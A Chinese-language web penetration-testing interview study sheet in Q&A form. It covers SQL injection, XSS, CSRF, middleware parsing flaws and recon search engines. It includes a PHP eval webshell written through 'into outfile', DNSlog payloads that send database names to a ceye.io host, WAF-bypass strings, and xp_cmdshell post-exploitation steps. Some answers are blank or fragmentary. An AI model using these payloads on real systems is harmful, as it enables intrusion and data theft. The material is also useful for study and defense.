目录
1.7注入时可以不使用and或or或xor,直接 order by 开始注入吗
1.9如果网站get与post都做了防注入,还可以采用什么方式绕过
2.6如果目标网站使用了htmlspecialchars,你如何绕过
一、SQL注入漏洞的危害
数据库信息泄露:泄露数据库中存放的数据,用户隐私等;
获取webshell:当权限为root且知道绝对路径时,可以直接写入一句话木马到服务器
union select 1," <? php @eval($_POST['cmd']) ;?>",3 into outfile"X:\\xx\\xx.php"
,也可以查询null值;
网页篡改:注入出后台管理员用户,登录后台发布恶意数据、篡改后台数据等;
网站挂马:当拿到webshell或者获取到服务器权限后,可将一些网页木马挂在服务器上,去攻击别人;
获取系统权限:当权限足够高时,可以获取系统主机的权限;
万能密码:利用特定的payload登录后台或其他页面;
文件读取:读取敏感文件
1.1 sql注入的原理
在与数据库交互的地方程序没有对用户的输入做严格的过滤和限制,导致用户可以构造恶意的sql语句拼接在参数后面,然后带到数据库中执行,sq注入属于服务端攻击,和操作系统和编程语言无关
1.2 sql注入提交的方式有哪几种
get post cookie http头:(X-Forwarded-For) referer user-agent
1.3 注入的类型
联合注入报错注入 布尔盲注 延时注入 宽字节注入(%df/)
堆叠注入:用分号同时注入多条sql语句
二次注入:
(1)先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数做检查)
(4)二次注入更加难以被发现
1.4 报错注入有哪些函数
FLOOR #MySQL >= 5.0
EXTRACTVALUE #MySQL >= 5.1
UPDATEXML #MySQL >= 5.1
BIGINT UNSIGNED #MySQL >= 5.5
EXP #MySQL >= 5.5
1.5盲注分为哪几种,他们的常见函数有哪些
布尔盲注
请输入代码块名称
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
延时注入
sleep(5)
BENCHMARK(5000000,MD5(0x704c6b65))
1.6布尔盲注和延时注入的共同点?
都是一个字符一个字符的判断
1.7注入时可以不使用and或or或xor,直接 order by 开始注入吗
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注
入点那就可以省那步骤去。
1.8 手工注入你是如何判断注入点的
单引号报错,and 1=1,and 1=2,if(database()="user",sleep(5),1)
1.9如果网站get与post都做了防注入,还可以采用什么方式绕过
Cookies 注入绕过$_REQUESTS()
1.10如何突破注入时字符被转义?
宽字节注入、hex编码绕过
1.11 注入漏洞危害
1. 获取数据库中的数据
2.修改数据库的数据
3. 在一定的前提下还可以写入一句话朴马
4.在一定的前提下可以进行udf提权
1.12你是如何挖sql注入的,哪些页面可能存在sql注入
登录 注册页面
修改个人信息的页面新闻,留言板页面密码重置页面
只要与数据库有交互的页面,就有可能存在sql注入漏洞
1.13为何一个mysql数据库的站,只有一个80端口开放
1. 更改了数据库端口,没有扫描出来。
2. 站库分离。
3. 3306端口不对外开放
1.14给你一个注入点,你会怎么办
首先就是查看权限
mysql
-root权限 通过注入点写一句话木马,前提:知道网站的绝对路径,需要有写入的点
配置文件中
开启secure_fille_priv为空 通过into outfile 函数写进一句话木马
- 普通权限 脱库 找出管理员账号密码 解密密码 扫描网站的管理后台 登录 找到
mssql
- public 脱库 找出管理员账号密码 扫描网站的管理后台 登录 找到上传点 上作
- dbowner 通过差异备份 写入一句话木马
- sa权限 通过xp_cmdshell执行系统命令权限 添加管理员账号 开启远程3389 直
xp_cmdshel1不能用,还有哪些模块?
- sp_oacreate
1.15如何判断Access数据库
一般access数据库喜欢和asp网站搭配使用,可以在参数后面拼接and user>0,如果不报错是access数据库 报错是mssql数据库,如果IIS屏蔽了错误提示,可以根据
and(select count(*)from msysobjects)>=0
判断,msysobjects是access特有的表zzh
1.16 access数据库如何注入
只能靠常用的表名和字段名去猜,而且联合查询后面必须from表名,mysql数据库就不
用
1.17 mssql数据库的三种权限
public 普通权限dbowner数据库管理员sa超级权限 可以通过xp_cmdshell执行系统
命令
1.18 mysql4和mysql5的区别
1. mysql4存在字符转义和不支持子语句 靠猜解,但是mysql4不存在
2. mysq15有information_schema这个库,里面存在着所有的库名,表名,字段名等,
mysql4没有
3. mysql5支持load_file,into outfile这些读写文件的函数,mysql4不支持
1.19如何获取mysql数据库的用户名和密码
1.存在在mysql库下的user表,密码采用mysql5特有的方式加密
2. mysql安装目录下的user.MYD文件中也存在着用户名和密码
1.20如果sql注入无回显,可以采用什么注入
[
1.21 sql 注入写文件都有哪些函数
into outfile 和 dump file 函数
1.22 sql注入的防御手段
1. 函数过滤,如!is_numeric 涵数//判断变量id 是否为数字
2. 直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面,如
阿里云、腾迅提供的防注入脚本
3. 使用白名单过滤
4. 采用PDO预编译处理
5.使用Waf拦截
1.23 盲注if被过滤怎么绕过
如果and if被waf拦截,我们可以使用内联注释来绕过函数的检测,如:
/!if/(length(/!database//!()/)>=1,/!sleep//!(1)/,curdate())%23
1.24 无回显怎么注入 ?-- dnslog注入
(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于
防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池
进行请求。
(2)此时也可以使用DNSlog注入,原理就是把服务器返回的结果放在域
名中,然后读取DNS解析时的日志,来获取想要的信息。
(3)Mysql 中利用load_file()构造payload
'and if((select load_file(concat( \\' ,(select database()), .xxx.ceye.io\abc' ))),1,0)#
(4)Mssql下利用master..xp_dirtree 构造 payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+' .xxx.ceye.io' ;EXEC('master .. xp_dirtree"\' +@host+' \foobar$" ');
1.25 sql手工注入流程
单引号报错 -- and验证 -- union判断列数和回显 -- 构造回显语句提取数据
二、xss攻击
2.1简单说一下xss攻击吧
xss攻击中文全称叫做跨站脚本攻击,是一种客户端攻击,受害者往往是用户,但是网站管理员也是用户,所以xss也可以算是一种服务端攻击,最常用的代码是javascript语言
原理:web程序没有对用户的输入做严格的过滤和限制,对输出没有进行html实体编码
2.2xss的危害
获取用户的cookie信息键盘记录
网络钓鱼,包括盗取各类用户账号
网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等进行大量的客户端攻击,如DDoS攻击
可以结合其他漏洞,如CSRF漏洞,打组合拳
总之js能做的事,xss攻击都能实现
2.3xss的分类
1. 反射型 用户输入的数据直接反射给浏览器,一次性的,所见即所得
2. 存储型 用户输入的数据会存储在数据库中,永久保存,具有很强的稳定性
3. dom型 攻击的payload是修改了受害者浏览器页面的DOM树而触发的
2.4 xss可能存在的地方
所有可以的输入并且回显的地方都可以尝试下
2.5你了解什么是同源策略吗
同源策略是指:禁止页面加载或执行与自身来源不同的域的任何脚本
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域,但是部分标
签是不受同源策略的影响
2.6如果目标网站使用了htmlspecialchars,你如何绕过
htmlspecialchars()函数会把预定义的字符转换为html实体,从而使xss失效,但是
htmlspecialchars函数默认不会对单引号过滤,所以我们可以通过a标签+伪协议进行绕过
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
2.7说一下xss的绕过方法
1.前端绕过,可以通过修改html或者抓包
2. 大小写混合绕过
3. 拼凑绕过 就是双写
4. 编码绕过16进制+html编码空格和换行可以通过url编码
5. 注释干扰后台绕过
6. 关键字替换绕过 空格用/或 tab 或回车
7. fuzz尝试相关字符过滤情况prompt,scpript,javascript,onclick,<>,alert(),找相应可以用的payload攻击
三、csrf
3.1什么是csrf
csrf,中文全称叫做客户端请求伪造,是建立在会话之上的攻击,欺骗用户访问恶意的url,如转账和添加管理员用户
程序员在开发的时候,未对相关页面进行token和REFERER判断,造成攻击者可构造自己的URL地址欺 骗目标用户进行点击访问
3.2如何挖掘csrf漏洞
用web扫描器,例如AWVS扫描修改密码的地方
添加用户的地方数据库备份的地方
数据交易,支付的地方
验证:
1.GET类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞
2.POST类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参
数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,
实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是
否严格,是否可以绕过
四、常见中间件漏洞
目前哪些版本的中间件有解析漏洞具体举例:
IIS6.0解析漏洞
文件夹目录解析xxx.asp/1.jpg只要在xxx.asp目录下面的任意文件都会当脚本解析特殊后缀名会当做脚本解析 123.asa 123.cer 123.cdx
123.asp;jpg IIS会按照脚本解析 或者123.aps;jpg
IIS 7.0、lS7.5解析漏洞
默认 Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析可以通过网站原有的图片链接进行测试是否开启了Fast-CGI,开了的话,图片会乱码
apache解析漏洞
Apache解析文件是从右向左解析,遇见不认识的扩展名就继续向左解析xxx.php.xxx
httpd换行解析漏洞2.4上传一个后缀未尾包含换行符的文件,来绕过。绕过FilesMatch不一定能被PHP解析。可以用来绕过上传黑名单限制
nginx解析漏洞
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
在图片地址后面输入/1.php会把图片按照php解析
五、cc攻击原理:
六、三大信息搜集工具
fofa(佛法):
FOFA是华顺信安推出的一款功能强大的网络空间搜索引擎,能快速帮助用户定位和发现互联网上的目标,是发现全球范围内网络资产的重要来源。它能通过关键字、IP地址、端口号、协议等多种方式进行搜索,搜索结果包括设备的基本信息、端口信息、服务信息等。
它还具有丰富的域名资产数据积累,能识别绝大多数主流软硬件产品并进行归类。
shodan(撒旦):
Shodan平台不仅可以监控自己的网络,还可以监控整个Internet。检测数据泄漏到云端、网络钓鱼网站、受损数据库等。企业数据许可证为您提供了监控 Internet 上所有连接设备的工具。
它可以搜索和识别各种类型的设备,包括Web服务器、路由器、摄像头、打印机、数据库等。
(钟馗之眼):
ZoomEye(“钟馗之眼”)是知道创宇旗下404实验室驱动打造的中国第一款网络空间搜索引擎。通过分布在全球的大量测绘节点,针对全球范围内的IPv4、IPv6地址库及网站域名库进行24小时不间断探测、识别,根据对多个服务端口协议进行测绘,最终实现对整体或局部地区的网络空间画像。
通过多年的发展不停的技术改造,目前ZoomEye拥有的自主研发网络空间搜索核心引擎已拥有世界领先网络空间测绘能力,并积累了大量的测绘数据进行趋势分析最终实现跨时空式的动态网络空间测绘画像。